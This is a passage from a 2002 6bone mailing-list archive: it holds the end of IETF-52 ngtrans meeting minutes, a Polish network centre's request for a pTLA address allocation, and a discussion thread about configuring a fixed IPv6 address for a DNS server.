RA/RS messages are tunnelled into IPv6 to override the local link scope of 
the ND messages.

To accomplish this, 2 new options are required: an RS DSH mapping request 
and an RA DSTM reply.

Gerard noted that the authors want ND-DSTM to be one of the implementations 
of the DSTM architecture.

Alain Durand was concerned that host may require manual configuration. He 
asked developers if they would accept the tunnel if it is not configured.

Jim Bound said it would be dropped if not configured, but this shouldn't 
stop use of the idea.

Christian Huitema said that it will be dropped.

Author said they will resubmit a new draft in the context of other DSTM 
changes. When the new draft is available, it will not evaluated as a 
project again.

===
Multicast extensions to dual stack hosts using the "Bump-In-the-Stack" 
Technique (mBIS), Kazuaki Tsuchiya
<http://www.ietf.org/internet-drafts/draft-tsuchiya-mbis-00.txt>

SLIDES:
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/mBIS.ppt>
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/mBIS.pdf>

Kazuaki presented his mBIS draft for consideration as an ngtrans project. 
This draft describes a mechanism which allows existing hosts to speak in 
IPv6 multicast using existing IPv4 multicast applications. This is an 
extension of the original BIS work, now Informational RFC2767.

There was no show of support for mBIS as an ngtrans project among 
attendees, thus mBIS will be taken to the ngtrans list to confirm this.

===
IPv6 Traffic Engineering Tunnel, Hideo Ishii
<http://www.ietf.org/internet-drafts/draft-ishii-ipv6-te-tunnel-00.txt>

SLIDES:
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/IPv6-TE-tunnel.ppt>
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/IPv6-TE-tunnel.pdf>

This document specifies a method to transmit IPv6 traffic over IPv4 MPLS 
Label Switched Paths (LSPs) constructed by RSVP-TE.  The way to transmit 
IPv4 and IPv6 traffic over IPv4 MPLS LSPs and the way to exchange routing 
information are described.  This method allows Traffic Engineering for IPv4 
and IPv6 separately or both inclusively.

The advantages of this approach are:

• From the IPv6 point of view,  these are ordinal logical interfaces
   (Similar to tunneling interfaces) capable of IPv6.

• Can use any routing protocols among IPv6 PE routers.
   OSPFv3, RIPng and of course BGP4+.

• Traffic Engineering for IPv4 and IPv6 separately or both inclusively.

Alain Durand noted that a review of rfc/id directory shows several ip over 
mpls docs, and that he is not sure it fits here in ngtrans. He suggested 
that the authors should go to talk to Internet area director as it is not 
applicable here.

============
Friday, December 14 at 0900-1000

===
Discussion of new ngtrans charter and future ngtrans work - chairs
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/ngtrans-charter.txt>

SLIDES:
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/ngtrans-charter-revision.ppt>
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/ngtrans-charter-revision.pdf>


Tony Hain presented the new charter revision goals.

- Document operational requirements and recommended practises for
major pieces of the Internet infrastructure in a mixed world of IPv4
only, IPv6 only and dual stack nodes.  Those pieces include, but are
not limited to:  Routing, DNS, Mail, Network monitoring, Web,
Multicast, VoIP,...
This work is to be done in cooperation with the relevant experts
and/or the relevant working groups when applicable.

- Serve as a review board and body of competence and coordination for
IPv6 transition and operational issues that span multiple IETF
working groups.  This includes providing technical input to the
IESG/IAB, IANA, the Internet Address Registries and operational
communities, with regard to IPv6 transition and operation related
issues, e.g., address allocation policies and procedures and
operational management mechanisms.

- Coordinate with the IPv6 6bone testbed, operating under the IPv6
Testing Address Allocation allocated in Experimental RFC 2471, to
foster the development, testing, and deployment of IPv6.

- Keep all IPv6 transition tool documents moving along publication /
standardization track. Those tools enable transition to a mixed world
of IPv4 only, IPv6 only and dual stack nodes. They falls into three
categories:
- dual-stack tools which assure that both protocols are supported
equally throughout the infrastructure.
- tunneling tools to enable IPv6 island to communicate over an
IPv4 infrastructure
- translation tools that enable communication between IP4 and IPv6
nodes.  As a large number of tools are already documented, new
tools would have to justify the problem space they are solving
that is not already addressed by existing tools/mechanisms.

- Document how to use those tools in major transition scenarios and
document how those tools interact together.

The non goals of this working group are:

- Define extensions to IPv6. this is done in the ipv6 working group.

- Develop multi-homing solutions. This is done in the multi6 working
group.

- Define particular extensions for IPv6 to existing Internet
protocols. This is done in the relevant working groups.

- Define or document tools/mechanisms/scenarios that are only
applicable to very specific environment and are not representative
enough of a wide community.

Brian Carpenter commented that new schemes need be described with scenarios 
before issue comes up. Also, what about retiring under-utilized tools 
(e.g., 6over4). Tony felt that missing pieces will pop out of work on 
transition scenarios, and unused ones will as well.

Francis Dupont noted that 6over4 not on any list in ngtrans. Tony replied 
that it isn't an ngtrans project. If appropriate to discard 6over4 as 
ngtrans progresses to a better understanding of what's important and what's 
not, the IPv6 WG will be asked to reconsider 6over4.

Brian Zill, as one developer, noted that he wouldn't care if 6over4 went away.

Bob Hinden commented that Nokia has an implementation of 6over4.

Tony asked for input on new project criteria. He noted that refused 
projects will go to the mail list for confirmation. The new rules for new 
ngtrans project are:

• it fits within the ngtrans charter

• it addresses a relevant issue in a timely fashion
   must apply to a wide audience

• there is sufficient interest in the wg
   unsolicited projects must be presented to the list to generate discussion,
   after a presentation to the group, interest must be shown on the list

• the issue has not been solved previously
   must show why current mechanisms are insufficient

Perry Metzger said that if someone comes up with a really great idea, 
overwhelming support should ovedride rules, but in general not; the rules 
are good.

Christian Huitema commented that we are done making new tools, that we 
should fix broken stuff, and we shouldn't invent new ones.

Randy Bush, wearing his AD hat, said that as we turn from ngtoys to 
ngtrans, we may find serious scenarios that reveal gaps that need to be filled.

Itojun noted that transition scenarios may be different for different 
environments. He is not sure we can agree on single scenario. Tony replied 
that we need to get lots of ops community feedback from folks who will use 
these tools.

The meeting adjourned.

end

---


From 6bone-owner  Thu Jan  3 09:02:40 2002
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Date: Thu, 03 Jan 2002 09:02:57 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for POZMAN - review closes 17 January 2002
Cc: Bartosz Gajda <gajda@man.poznan.pl>
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Status: RO

6bone Folk,

POZMAN has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 17 
January 2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?POZMAN>
<www.ipv6.man.poznan.pl>


Thanks,

Bob

===
>Date: Thu, 3 Jan 2002 13:55:31 +0100 (MET)
>From: Bartosz Gajda <gajda@man.poznan.pl>
>To: Bob Fink <fink@es.net>
>cc: ipv6-support@man.poznan.pl
>Subject: requesting IPv6 ptla address space
>
>
>Hello Bob,
>
>I am sendig you our request for ptla IPv6 address space.
>I used as a form document from www.6bone.net.
>
>If you have some more questions please contact me.
>
>
>Kind regards and happy New Year! ;-)
>
>Bart
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>  Bartosz Gajda              | Poznan Supercomputing and Networking Center
>  mailto:gajda@man.poznan.pl | ul. Noskowskiego 10
>  http://www.man.poznan.pl   | 61-704 Poznan, POLAND
>  BG1740-RIPE           tel:(+48 61)858-2072,858-2015 fax:(+48 61) 8525-954
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>
>
>*
>*7. Guidelines for 6Bone pTLA sites
>*
>*   The following rules apply to qualify for a 6Bone pTLA allocation. It
>*   should be recognized that holders of 6Bone pTLA allocations are
>*   expected to provide production quality backbone network services for
>*   the 6Bone.
>*
>*   1. The pTLA Applicant must have a minimum of three (3) months
>*      qualifying experience as a 6Bone end-site or pNLA transit.   During
>*      the entire qualifying period the Applicant must be operationally
>*      providing the following:
>*
>We have been assigned IPv6 address space form ICM in Poland (polish
>6bone), It was 4 months ago at 28th of Aug 2001
>our address space is:
>3ffe:8010:a5::/48
>
>
>*      a. Fully maintained, up to date, 6Bone Registry entries for their
>*         ipv6-site inet6num, mntner, and person objects, including each
>*         tunnel that the Applicant has.
>
>we have following objects registered in 6bone whois database:
>inet6num:     3FFE:8010:A5::/48
>ipv6-site:    POZMAN
>mntner:       POZMAN-MNT
>person:       Bartosz Gajda
>person:       Wiktor Procyk
>*
>*      b. Fully maintained, and reliable, BGP4+ peering and connectivity
>*         between the Applicant's boundary router and the appropriate
>*         connection point into the 6Bone. This router must be IPv6
>*         pingable. This criteria is judged by members of the 6Bone
>*         Operations Group at the time of the Applicant's pTLA request.
>
>we have working and stable router based on zebra and SuSE linux.
>We have configured and operational following tunnels and BGP sessions:
>
>Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down
>State/PfxRcd
>3ffe:8010:a5::1 4  8664    9286    1382        0    0    0 22:57:58
>357
>3ffe:8010:a5::5 4  3320    3166    1359        0    0    0 11:55:25
>190
>3ffe:8010:a5::9 4 15694    1384    1382        0    0    0 22:57:56
>4
>3ffe:8010:a5::d 4  8256    1392    6817        0    0    0 22:57:56
>2
>3ffe:8010:a5::11
>                 4  8664   22552    6629        0    0    0 21:19:37
>267
>3ffe:8010:a5::15
>                 4   109    2672    1357        0    0    0 11:55:31
>244
>3ffe:8010:a5::21
>                 4 58502    2433    1172        0    0    0 02:43:47
>363
>3ffe:8010:a5:1::3
>                 4    10    1378    5393        0    0    0 22:41:24
>1
>3ffe:8010:a5:1::101
>                 4  8364       0       0        0    0    0 00:01:50
>Connect
>*
>*      c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>*         entries for the Applicant's router(s) and at least one host
>*         system.
>
>we have configured IPv6 DNS on our main operational DNS server:
>150.254.173.3 (primary)
>150.254.173.2 (secondary)
>
>You can ask about the following entiries:
>www.ipv6.man.poznan.pl
>ipv6-gw.man.poznan.pl
>plum.ipv6.man.poznan.pl
>ipv6-gw.ipv6.man.poznan.pl
>
>*
>*      d. A fully maintained, and reliable, IPv6-accessible system
>*         providing, at a mimimum, one or more web pages, describing the
>*         Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>We have running apache 2.0 server which is IPv4 and IPv6 accessible at:
>www.ipv6.man.poznan.pl
>
>*   2. The pTLA Applicant MUST have the ability and intent to provide
>*      "production-quality" 6Bone backbone service. Applicants must
>*      provide a statement and information in support of this claim.
>*      This MUST include the following:
>*
>*      a. A support staff of two persons minimum, three preferable, with
>*         person attributes registered for each in the ipv6-site object
>*         for the pTLA applicant.
>
>We have two persons:
>person:       Bartosz Gajda
>person:       Wiktor Procyk
>
>*      b. A common mailbox for support contact purposes that all support
>*         staff have acess to, pointed to with a notify attribute in the
>*         ipv6-site object for the pTLA Applicant.
>
>we have email address:
>ipv6-support@man.poznan.pl
>information concerning this is available on our web
>server: www.ipv6.man.poznan.pl
>
>*
>*   3. The pTLA Applicant MUST have a potential "user community" that
>*      would be served by its becoming a pTLA, e.g., the Applicant is a
>*      major provider of Internet service in a region, country, or focus
>*      of interest. Applicant must provide a statement and information in
>*      support this claim.
>
>Poznan Supercomputing and Networking Center (PSNC) is
>an operator of Polish National Scientific POL-34/155 network.
>This network is mostly based on ATM and SDH technology
>supporting 155 Mb/s and 34 MB/s speed rates.
>In this moment POL-34/155 embraced the majority of polish
>metropolitan networks:
>MAN Bielsko - Bia³a
>MAN Bia³ystok
>MAN Bydgoszcz
>MAN Czêstochowa
>MAN Elblag
>MAN Gdañsk
>MAN Koszalin
>MAN Kraków
>MAN Lublin
>MAN £ód^ß
>MAN Olsztyn
>MAN Poznañ
>MAN Rzeszów
>MAN Szczecin
>MAN ^Ìlask
>MAN Toruñ
>MAN Zielona Góra
>MAN Wroc³aw
>MAN Opole
>ICM Warszawa
>
>PSNC also act as an operator of Metropolitan Area Network in Poznan city.
>You can find more informations concerning POL-34/155 network
>on web site:
>http://www.man.poznan.pl/pol34/
>and also about Network Operation Center:
>http://noc.man.poznan.pl/
>
>The other activities of PSNC are as follows:
>- computations in a metacomputer enviroment
>- integration of scientific research on computing methods
>- promotion of new high performance computing and networking technologies
>
>We are LIR registered in Ripe-NCC as a Large as pl.pozman
>We have more than 40 customers connected to our network and registered in
>Ripe database.
>
>*
>*   4. The pTLA Applicant MUST commit to abide by the current 6Bone
>*      operational rules and policies as they exist at time of its
>*      application, and agree to abide by future 6Bone backbone
>*      operational rules and policies as they evolve by consensus of the
>*      6Bone backbone and user community.
>
>We agree to abide by the current 6Bone operational rules and policies.
>
>*
>*   When an Applicant seeks to receive a pTLA allocation, it will apply
>*   to the 6Bone Operations Group (see section 8 below) by providing to
>*   the Group information in support of its claims that it meets the
>*   criteria above.
>*
>*8. 6Bone Operations Group
>*
>*   The 6Bone Operations Group is the group in charge of monitoring and
>*   policing adherence to the current rules. Membership in the 6Bone
>*   Operations Group is mandatory for, and restricted to, sites connected
>*   to the 6Bone.
>*
>*   The 6Bone Operations Group is currently defined by those members of
>*   the existing 6Bone mailing list who represent sites participating in
>*   the 6Bone. Therefore it is incumbent on relevant site contacts to
>*   join the 6Bone mailing list. Instructions on how to join the list are
>*   maintained on the 6Bone web site at < http://www.6bone.net>.
>
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>  Bartosz Gajda              | Poznan Supercomputing and Networking Center
>  mailto:gajda@man.poznan.pl | ul. Noskowskiego 10
>  http://www.man.poznan.pl   | 61-704 Poznan, POLAND
>  BG1740-RIPE           tel:(+48 61)858-2072,858-2015 fax:(+48 61) 8525-954
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



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Date: Thu, 03 Jan 2002 09:02:57 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for POZMAN - review closes 17 January 2002
Cc: Bartosz Gajda <gajda@man.poznan.pl>
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6bone Folk,

POZMAN has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 17 
January 2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?POZMAN>
<www.ipv6.man.poznan.pl>


Thanks,

Bob

===
>Date: Thu, 3 Jan 2002 13:55:31 +0100 (MET)
>From: Bartosz Gajda <gajda@man.poznan.pl>
>To: Bob Fink <fink@es.net>
>cc: ipv6-support@man.poznan.pl
>Subject: requesting IPv6 ptla address space
>
>
>Hello Bob,
>
>I am sendig you our request for ptla IPv6 address space.
>I used as a form document from www.6bone.net.
>
>If you have some more questions please contact me.
>
>
>Kind regards and happy New Year! ;-)
>
>Bart
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>  Bartosz Gajda              | Poznan Supercomputing and Networking Center
>  mailto:gajda@man.poznan.pl | ul. Noskowskiego 10
>  http://www.man.poznan.pl   | 61-704 Poznan, POLAND
>  BG1740-RIPE           tel:(+48 61)858-2072,858-2015 fax:(+48 61) 8525-954
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>
>
>*
>*7. Guidelines for 6Bone pTLA sites
>*
>*   The following rules apply to qualify for a 6Bone pTLA allocation. It
>*   should be recognized that holders of 6Bone pTLA allocations are
>*   expected to provide production quality backbone network services for
>*   the 6Bone.
>*
>*   1. The pTLA Applicant must have a minimum of three (3) months
>*      qualifying experience as a 6Bone end-site or pNLA transit.   During
>*      the entire qualifying period the Applicant must be operationally
>*      providing the following:
>*
>We have been assigned IPv6 address space form ICM in Poland (polish
>6bone), It was 4 months ago at 28th of Aug 2001
>our address space is:
>3ffe:8010:a5::/48
>
>
>*      a. Fully maintained, up to date, 6Bone Registry entries for their
>*         ipv6-site inet6num, mntner, and person objects, including each
>*         tunnel that the Applicant has.
>
>we have following objects registered in 6bone whois database:
>inet6num:     3FFE:8010:A5::/48
>ipv6-site:    POZMAN
>mntner:       POZMAN-MNT
>person:       Bartosz Gajda
>person:       Wiktor Procyk
>*
>*      b. Fully maintained, and reliable, BGP4+ peering and connectivity
>*         between the Applicant's boundary router and the appropriate
>*         connection point into the 6Bone. This router must be IPv6
>*         pingable. This criteria is judged by members of the 6Bone
>*         Operations Group at the time of the Applicant's pTLA request.
>
>we have working and stable router based on zebra and SuSE linux.
>We have configured and operational following tunnels and BGP sessions:
>
>Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down
>State/PfxRcd
>3ffe:8010:a5::1 4  8664    9286    1382        0    0    0 22:57:58
>357
>3ffe:8010:a5::5 4  3320    3166    1359        0    0    0 11:55:25
>190
>3ffe:8010:a5::9 4 15694    1384    1382        0    0    0 22:57:56
>4
>3ffe:8010:a5::d 4  8256    1392    6817        0    0    0 22:57:56
>2
>3ffe:8010:a5::11
>                 4  8664   22552    6629        0    0    0 21:19:37
>267
>3ffe:8010:a5::15
>                 4   109    2672    1357        0    0    0 11:55:31
>244
>3ffe:8010:a5::21
>                 4 58502    2433    1172        0    0    0 02:43:47
>363
>3ffe:8010:a5:1::3
>                 4    10    1378    5393        0    0    0 22:41:24
>1
>3ffe:8010:a5:1::101
>                 4  8364       0       0        0    0    0 00:01:50
>Connect
>*
>*      c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>*         entries for the Applicant's router(s) and at least one host
>*         system.
>
>we have configured IPv6 DNS on our main operational DNS server:
>150.254.173.3 (primary)
>150.254.173.2 (secondary)
>
>You can ask about the following entiries:
>www.ipv6.man.poznan.pl
>ipv6-gw.man.poznan.pl
>plum.ipv6.man.poznan.pl
>ipv6-gw.ipv6.man.poznan.pl
>
>*
>*      d. A fully maintained, and reliable, IPv6-accessible system
>*         providing, at a mimimum, one or more web pages, describing the
>*         Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>We have running apache 2.0 server which is IPv4 and IPv6 accessible at:
>www.ipv6.man.poznan.pl
>
>*   2. The pTLA Applicant MUST have the ability and intent to provide
>*      "production-quality" 6Bone backbone service. Applicants must
>*      provide a statement and information in support of this claim.
>*      This MUST include the following:
>*
>*      a. A support staff of two persons minimum, three preferable, with
>*         person attributes registered for each in the ipv6-site object
>*         for the pTLA applicant.
>
>We have two persons:
>person:       Bartosz Gajda
>person:       Wiktor Procyk
>
>*      b. A common mailbox for support contact purposes that all support
>*         staff have acess to, pointed to with a notify attribute in the
>*         ipv6-site object for the pTLA Applicant.
>
>we have email address:
>ipv6-support@man.poznan.pl
>information concerning this is available on our web
>server: www.ipv6.man.poznan.pl
>
>*
>*   3. The pTLA Applicant MUST have a potential "user community" that
>*      would be served by its becoming a pTLA, e.g., the Applicant is a
>*      major provider of Internet service in a region, country, or focus
>*      of interest. Applicant must provide a statement and information in
>*      support this claim.
>
>Poznan Supercomputing and Networking Center (PSNC) is
>an operator of Polish National Scientific POL-34/155 network.
>This network is mostly based on ATM and SDH technology
>supporting 155 Mb/s and 34 MB/s speed rates.
>In this moment POL-34/155 embraced the majority of polish
>metropolitan networks:
>MAN Bielsko - Bia³a
>MAN Bia³ystok
>MAN Bydgoszcz
>MAN Czêstochowa
>MAN Elblag
>MAN Gdañsk
>MAN Koszalin
>MAN Kraków
>MAN Lublin
>MAN £ód^ß
>MAN Olsztyn
>MAN Poznañ
>MAN Rzeszów
>MAN Szczecin
>MAN ^Ìlask
>MAN Toruñ
>MAN Zielona Góra
>MAN Wroc³aw
>MAN Opole
>ICM Warszawa
>
>PSNC also act as an operator of Metropolitan Area Network in Poznan city.
>You can find more informations concerning POL-34/155 network
>on web site:
>http://www.man.poznan.pl/pol34/
>and also about Network Operation Center:
>http://noc.man.poznan.pl/
>
>The other activities of PSNC are as follows:
>- computations in a metacomputer enviroment
>- integration of scientific research on computing methods
>- promotion of new high performance computing and networking technologies
>
>We are LIR registered in Ripe-NCC as a Large as pl.pozman
>We have more than 40 customers connected to our network and registered in
>Ripe database.
>
>*
>*   4. The pTLA Applicant MUST commit to abide by the current 6Bone
>*      operational rules and policies as they exist at time of its
>*      application, and agree to abide by future 6Bone backbone
>*      operational rules and policies as they evolve by consensus of the
>*      6Bone backbone and user community.
>
>We agree to abide by the current 6Bone operational rules and policies.
>
>*
>*   When an Applicant seeks to receive a pTLA allocation, it will apply
>*   to the 6Bone Operations Group (see section 8 below) by providing to
>*   the Group information in support of its claims that it meets the
>*   criteria above.
>*
>*8. 6Bone Operations Group
>*
>*   The 6Bone Operations Group is the group in charge of monitoring and
>*   policing adherence to the current rules. Membership in the 6Bone
>*   Operations Group is mandatory for, and restricted to, sites connected
>*   to the 6Bone.
>*
>*   The 6Bone Operations Group is currently defined by those members of
>*   the existing 6Bone mailing list who represent sites participating in
>*   the 6Bone. Therefore it is incumbent on relevant site contacts to
>*   join the 6Bone mailing list. Instructions on how to join the list are
>*   maintained on the 6Bone web site at < http://www.6bone.net>.
>
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>  Bartosz Gajda              | Poznan Supercomputing and Networking Center
>  mailto:gajda@man.poznan.pl | ul. Noskowskiego 10
>  http://www.man.poznan.pl   | 61-704 Poznan, POLAND
>  BG1740-RIPE           tel:(+48 61)858-2072,858-2015 fax:(+48 61) 8525-954
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 6bone-owner  Fri Jan  4 12:54:14 2002
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Date: Fri, 4 Jan 2002 15:54:32 -0500
To: 6BONE List <6bone@ISI.EDU>
From: Edward Lewis <lewis@tislabs.com>
Subject: Question on address configuration 
Cc: lewis@tislabs.com
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We're starting up a 6Bone connected set of machines and have come across a
question regarding setting up a server.  (If this isn't 6Bone fodder,
please send me a redirect.)

I'd like to have my DNS server at 3ffe:817::3.  I can configure an
interface to come up at that address.  But I would also like to have this
machine be able to listen to a router's advertisement of 3ffe:817::/64 as
the local (globally routed) network address and then append ::3 to get the
setting.

E.g., Could (linux) ifcfg-eth0 have a line IPV6ADDR="::3" which tells the
router solicitor to append that to the router's prefix?

I understand autoconf, and have been able to set that up, getting
prefix:enet-number as the IPv6 address.  Like I said, by playing with the
ifconfig (or appropriate network interface configuration command) I can
also just set up the 128 bit address.

If there isn't already a way to assign an address in the way I've
described, this may be an issue.  I'd like to take advantage of router
advertisements so that I can renumber by just changing the router (and a
few lines in DNS, assuming A6).  If I use autoconf I can do this - but if
my server's interface card dies and is replaced, my server's well-known
address is changed.  With DNS and the /etc/resolv.conf file, I'd have to
visit every machine to make this change.

Perhaps this isn't a clear description of the problem.  Yeah, an
application like DNS shouldn't depend on the network (IPv6) address - but
this is DNS.  Maybe I do need to forego the advantages of autoconf for
servers.  Maybe I have the wrong mindset about address assignments.
Perhaps my clients should put a site-local address in /etc/resolv.conf, and
I should pay the price for static assignments for my publically accessable
[name] servers.

PS Typing "ping6 3ffe:817::3" is a lot easier than:
          "ping6 3ffe:817::what:ever:that:card:is"

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis                                                NAI Labs
Phone: +1 443-259-2352                      Email: lewis@tislabs.com

Opinions expressed are property of my evil twin, not my employer.



From 6bone-owner  Fri Jan  4 20:20:24 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Edward Lewis" <lewis@tislabs.com>, "6BONE List" <6bone@ISI.EDU>
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Edward,

 I do not know how to do that on linux, and I do understand why you would want to do it although I don't think I would want to do it myself.

I can suggest a workaround: On routers and on some NICs, you can manually configure the MAC address. I have not done that for a while on a NIC, but 3Com 3C59x have a config utility. It is likely that linux would read the manually configured MAC address to build its own IPv6 address from the RA. Most people will prefer a statically configured IPv6 address for a DNS server anyway.

Something I don't get: from your text it appears that you own 3ffe:817::/32 and I don't see that block in the 6bone database.

Michel.


From 6bone-owner  Sat Jan  5 09:45:17 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Edward Lewis <lewis@tislabs.com>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: Question on address configuration 
In-Reply-To: <v03130319b85bc33a5b18@[199.171.39.21]>
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On Fri, 4 Jan 2002, Edward Lewis wrote:
> E.g., Could (linux) ifcfg-eth0 have a line IPV6ADDR="::3" which tells the
> router solicitor to append that to the router's prefix?
> 
> I understand autoconf, and have been able to set that up, getting
> prefix:enet-number as the IPv6 address.  Like I said, by playing with the
> ifconfig (or appropriate network interface configuration command) I can
> also just set up the 128 bit address.

No, that isn't possible.

I think this would be an interesting development; basically a simple 
implementation of user-space router solicitation client would be required.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Sun Jan  6 15:19:12 2002
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To: Edward Lewis <lewis@tislabs.com>
CC: 6BONE List <6bone@ISI.EDU>
Subject: Re: Question on address configuration
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Why not simply use site-local addresses for the well-known aliases?

In fact, there is a draft document somewhere (about DNS autodiscovery?) 
that suggests using fec0:0:0:ffff::{1,2,3} as DNS servers.

The beauty of site-local addressing is that it won't change as your 
prefix changes. That makes it perfect for situations as you describe.


Edward Lewis wrote:

> We're starting up a 6Bone connected set of machines and have come across a
> question regarding setting up a server.  (If this isn't 6Bone fodder,
> please send me a redirect.)
> 
> I'd like to have my DNS server at 3ffe:817::3.  I can configure an
> interface to come up at that address.  But I would also like to have this
> machine be able to listen to a router's advertisement of 3ffe:817::/64 as
> the local (globally routed) network address and then append ::3 to get the
> setting.
> 
> E.g., Could (linux) ifcfg-eth0 have a line IPV6ADDR="::3" which tells the
> router solicitor to append that to the router's prefix?
> 
> I understand autoconf, and have been able to set that up, getting
> prefix:enet-number as the IPv6 address.  Like I said, by playing with the
> ifconfig (or appropriate network interface configuration command) I can
> also just set up the 128 bit address.
> 
> If there isn't already a way to assign an address in the way I've
> described, this may be an issue.  I'd like to take advantage of router
> advertisements so that I can renumber by just changing the router (and a
> few lines in DNS, assuming A6).  If I use autoconf I can do this - but if
> my server's interface card dies and is replaced, my server's well-known
> address is changed.  With DNS and the /etc/resolv.conf file, I'd have to
> visit every machine to make this change.
> 
> Perhaps this isn't a clear description of the problem.  Yeah, an
> application like DNS shouldn't depend on the network (IPv6) address - but
> this is DNS.  Maybe I do need to forego the advantages of autoconf for
> servers.  Maybe I have the wrong mindset about address assignments.
> Perhaps my clients should put a site-local address in /etc/resolv.conf, and
> I should pay the price for static assignments for my publically accessable
> [name] servers.
> 
> PS Typing "ping6 3ffe:817::3" is a lot easier than:
>           "ping6 3ffe:817::what:ever:that:card:is"
> 
> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
> Edward Lewis                                                NAI Labs
> Phone: +1 443-259-2352                      Email: lewis@tislabs.com
> 
> Opinions expressed are property of my evil twin, not my employer.
> 
> 
> 



From 6bone-owner  Mon Jan  7 00:23:21 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Nathan Lutchansky <lutchann@litech.org>
cc: Edward Lewis <lewis@tislabs.com>, 6BONE List <6bone@ISI.EDU>
Subject: Re: Question on address configuration
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On Sun, 6 Jan 2002, Nathan Lutchansky wrote:
> On Sat, Jan 05, 2002 at 07:45:59PM +0200, Pekka Savola wrote:
> > On Fri, 4 Jan 2002, Edward Lewis wrote:
> > > E.g., Could (linux) ifcfg-eth0 have a line IPV6ADDR="::3" which tells the
> > > router solicitor to append that to the router's prefix?
> > 
> > No, that isn't possible.
> > 
> > I think this would be an interesting development; basically a simple 
> > implementation of user-space router solicitation client would be required.
> 
> I should think the better solution would be to modify the IPv6 stack to 
> generate global addresses by combining advertised prefixes with the lower 
> 64 from each link-local address.  Then you can add all your well-known 
> interface IDs as link-local addresses and your globals will just appear.
> 
> Thus, if I have eth0 with
> 
>   - autoconfigured address       fe80::2a0:56ff:fe94:4444 and
>   - manually configured address  fe80::1,
> 
> my global addresses would be generated from the advertised prefix of 
> 3ffe:2900:f10a:701::/64 to give
> 
>   - 3ffe:2900:f10a:701:2a0:56ff:fe94:4444 and 
>   - 3ffe:2900:f10a:701::1.
> 
> Now I have a well-known interface ID used in an autoconfigured prefix.
> 
> I haven't thought about this enough to find any problems, and I haven't 
> checked to see if RFC 2462 would even allow this approach.  But I can 
> certainly see benefits to doing autoconfiguration this way.  -Nathan

This is an interesting idea, and IMO, might be nice to have as a on/off 
togglable feature at least.

The problem is that if someone adds a manual address to the link-locals, 
he might not want it in globals.

One additional (but perhaps minor) problem here is DAD.  If the node has
fe80::1 as its address, it has already performed duplicate address
detection for it.  By the spec, the DAD check can be omitted if the suffix
is the same, so no DAD would be performed if one configured 3ffe:ffff::1.
For global addresses, this might be worse than for link-locals.

But then again, DAD isn't (error/fool)proof anyway, so I don't think this
is a too big issue.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Mon Jan  7 07:13:37 2002
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Date: Mon, 7 Jan 2002 10:14:21 -0500
To: 6BONE List <6bone@ISI.EDU>
From: Edward Lewis <lewis@tislabs.com>
Subject: Re: Question on address configuration
Cc: lewis@tislabs.com
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Thanks for the various replies.  At least I know I wasn't missing something
in the configurations and also not trying to do something in violation of
the spec.

As I only have a handful of machines right now, I don't need to commit to
one way or another, I have the luxury of being able to play around a bit.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis                                                NAI Labs
Phone: +1 443-259-2352                      Email: lewis@tislabs.com

Opinions expressed are property of my evil twin, not my employer.



From 6bone-owner  Mon Jan  7 07:13:52 2002
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To: "Michel Py" <michel@arneill-py.sacramento.ca.us>
